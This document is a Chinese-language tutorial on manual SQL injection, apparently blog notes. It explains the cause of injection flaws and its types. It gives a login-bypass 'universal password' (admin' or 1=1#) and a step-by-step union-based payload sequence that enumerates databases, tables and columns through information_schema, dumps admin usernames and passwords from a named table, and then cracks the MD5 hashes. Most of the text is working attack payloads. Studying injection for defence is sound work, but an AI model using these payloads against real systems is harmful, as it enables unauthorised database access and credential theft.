SQL注入(一)

萬能密碼:本身寫的網站,找到登陸窗口(必須和數據庫交互)往裏插入構造的惡意代碼,最後能夠直接登陸進去,不須要登陸密碼,輸入的惡意代碼成爲萬能密碼
用戶名的地方沒有處理,密碼輸入1:admin' or 1=1#
註釋符號:# -- %25  %2d%2d  --+
select *  from 'user'  where  user = 'admin' or 1=1#' and password ='  ';
再輸入2:admin' and 1=1#
出現萬能密碼的緣由:
後端代碼在執行的過程將用戶輸入的數據也當作代碼來執行,違背一個原則:代碼和數據相分離(本質問題)
前端的傳遞的數據能夠隨意控制,參數可控;後端對前端傳遞過來的數據沒有過濾或者過濾不謹慎,最終致使sql注入(緣由)
危害:數據泄露  脫庫 篡改網站  破壞數據庫  植入後門  getshell  
分類:
    請求方式:get  post cookie
    參數形式:整形  字符型  搜索
    反饋類型:報錯  union  延時  布爾(時間/頁面顯示狀態)
    數據庫類型:access  mssql  mysql  oracle  nosql等等
    利用技術:布爾 報錯  內聯 堆疊 時間 聯合
 
手工注入中經常使用數據函數以及常量
@@tmpdir
@@datadir
@@basedir
@@version
@@hostname
ascii()
user()
version()
database()
concat()
group_concat()
concat()
substr()/substring()/mid()
substr():oracle,mysql,mssql      substring():mysql,mssql      mid():mysql注意:均有三個參數,第一個是被截取的字符,第二個是開始索引,第三個是截取的長度
left(pa1,pa2)pa1是被截取的字符串,從左邊開始截取,pa2是截取的長度
right(pa1,pa2)pa1是被截取的字符串,從右邊開始截取,pa2是截取的長度
sleep()讓數據庫休眠的
ord()顯示字符的ascll
if(條件,條件爲真時的返回值或者語句,條件爲假的返回值或者語句)
eg:if(1=1,true,false)
case when 條件then條件爲真時的返回值或者語句else條件爲假時的返回值或者語句end
    eg:select 1,case when 1=1 then 'hello' else 'goodbye' end,3 --+
 
聯合查詢:select * from where user_id = 0.1 union select 1,2,user(),4,5,database(),7,
 
mysql數據庫中:一庫一表三字段
mysql>5.0
    information_schema --mysql>5.0以後自帶的,系統庫,彙總(其餘數據庫的庫名、表名、字段名)
    columns --存儲數據(庫名、表名、字段名),須要關注該表下的三個字段
        table_schema  --存儲其餘數據庫名的庫名
        table_name  字段存儲其餘數據庫的表名
        column_name --存儲其餘數據庫的字段名
select table_schema,table_name,column_name from information_schema.columns;
select table_schema,table_name,column_name from information_schema.columns where;
 
手工注入的步驟:
    step1:檢測注入點(可能存在sql注入的地方),找到相似id(id/uid/typeid/sid~~~key)的參數,後面須要輸入一些檢測的惡意代碼(payload):
,
'and 1=1#
select * from users where id =
輸入的惡意payload被成功執行(頁面顯示效果以及報錯信息等),說明此處有sql注入點
    接下來還要判斷注入的方式:主要根據頁面的回顯效果來決定使用哪一種注入技術,判斷從後臺數據庫中選擇的列數以及那幾列在前端顯示?
?typeid=1 order by 6%23
跟換數字,根據頁面的顯示效果判斷後臺數據庫選擇的列數,5列
union select 1,2,3,4,5%23
返回顯示2所在位置有輸出:
?typeid=-1 union select 1,user(),3,4,5%23
能夠根據頁面顯示效果可知在2的位置顯示到前端
step2:收集數據信息
?typeid=-1 union select 1,database(),3,4,5%23
group_concat(distinct table_schema)
?typeid=-1 union select 1,(select distinct table_schema from information_schema.columns;),3,4,5%23
step3:獲取當前數據庫下的表名
select table_name from information_schema.columns where table_schema =database();
 
step4:獲取當前數據庫指定表下的字段名
select group_connect(distinct column_name) from information_schema.columns where table_schema=database() and table_name = 表名(通常須要找後臺或敏感的數據表)(須要對錶名進行16位轉碼)
 
addtime,id,password,qx,username
step5:獲取字段數據
select concat(username,0x7e,password) from  jdy_admin limit0,1;
step6:解密:pmd五、cmd五、chamd五、somd5中解密
找後臺登陸:(猜,漏洞掃描,信息收集)
相關文章
相關標籤/搜索